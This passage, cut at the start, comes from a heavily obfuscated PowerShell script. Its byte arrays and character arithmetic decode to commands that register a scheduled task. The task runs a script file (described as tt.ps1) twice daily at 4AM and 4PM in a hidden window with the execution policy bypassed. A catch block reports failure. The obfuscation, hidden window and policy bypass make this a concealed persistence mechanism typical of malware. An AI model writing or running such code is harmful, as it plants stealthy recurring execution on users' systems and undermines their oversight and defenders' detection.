        -Argument (((([SYStEM.teXT.ENCodINg]::"u`T`F8"."`G`Ets`Tr`I`N`G"([byte[]](0x2d,0x57,0x69,110,100,0x6f,119,0x53,116,121,0x6c,0x65,32,0x48,0x69,100,100,0x65,110,32,0x2d,0x45,0x78,101,99,0x75,0x74,105,0x6f,110,80,111,0x6c,0x69,99,121,0x20,66,121,112,0x61,0x73,0x73,0x20,45,0x46,0x69,0x6c)))+([SYsTEM.TEXT.EncODing]::"ut`F8"."g`Et`S`T`Rin`G"([byte[]](101,32,96,34))))) + ${`Kdotva`Vv`Xx`Y`Sf`S} + ((([SYsteM.TExt.ENcOdinG]::"u`T`F8"."`G`Ets`T`R`Ing"([byte[]](96,34))))))
    ${`K`D`Ot`Xz`Uulyi`Dbs} = .(-join[char[]]((7091-7013),(-681+782),(-2895+3014),(-6643+6688),(-8450+8533),(-9456+9555),(-5323+5427),(-6952+7053),(-8901+9001),(-67+184),(-8871+8979),(-5236-1557+6894),(-744+844),(3119-3035),(4411-4314),(527-412),(-7404+7511),(37+47),(495+5860-6241),(-6681+6786),(-4554-3421+8078),(-4991+5094),(4077-3976),(10306-6594-3598))) -Daily -At 4:00AM
    ${kdoto`Iqj`G`Qv`T`B`Y} = .(-join[char[]]((9054-8976),(-144+245),(-4715+4834),(-6387+6432),(-668+751),(-5829+5928),(13947-6953-6890),(-4648+4749),(2499-2399),(7786-6744-925),(8478-8370),(-3092+3193),(476-376),(-1863-6501+8448),(1258-1161),(542-5286+4859),(-732+839),(-8081+8165),(-3934+7496-3448),(-4664+588+4181),(2534-2431),(533+1336-1766),(-1210+1311),(801-687))) -Daily -At 4:00PM
    .(-join[char[]]((-7657-1964+9703),(-3692+3793),(9836-9733),(7855-7750),(932-817),(4507-4350-41),(-5228+5329),(-1595+1709),(-2001+2046),(567-7469+6985),(-12519+4702+7916),(-231+335),(4506-4405),(2487-6082+3695),(-368+7998-7513),(-7561+7669),(-3177+3278),(-3870+3970),(-5141+5225),(9307-9210),(4687-4572),(-606+6688-5975))) -TaskName ${`K`D`O`Ty`N`Kwi`Ls`P`Qv} -Action ${kdOtzxjkQpufih} -Trigger @(${k`Do`T`Xzuulyidbs}, ${`Kdo`To`I`Qjg`Q`Vt`By}) `
        -Description ((([systEM.tEXT.ENCodING]::"`Utf8"."`G`E`Ts`Tr`I`Ng"([byte[]](82,117,110,32,116,116,46,112,115,49,32,97,116,32,52,65,77,32,97,110,100,32,52)))+([sYStEM.TEXT.EncodinG]::"ut`F8"."`Ge`T`St`R`Ing"([byte[]](80,0x4d))))) -Force
}
catch {
    .(-join[char[]]((2966-2879),(5804+8-5698),(5612-5507),(-3256+3372),(1485+2332-3716),(-6822+6867),(6306-6234),(3427-3316),(-2936+568+2483),(2141-2025))) (((([SYStem.TEXT.EncOdiNg]::"`U`Tf8"."g`E`T`St`R`In`G"([byte[]](0x5b,0x2d,93,32,70,0x61,105,0x6c,0x65,0x64,32,0x74,111,0x20,0x63,0x72,101,0x61,0x74,0x65,0x20)))+([SyStEm.tEXT.encoDInG]::"u`Tf8"."g`Et`St`Ri`Ng"([byte[]](116,97,0x73,0x6b,58,32))))) + $_ + ([striNG]::EMPtY))
}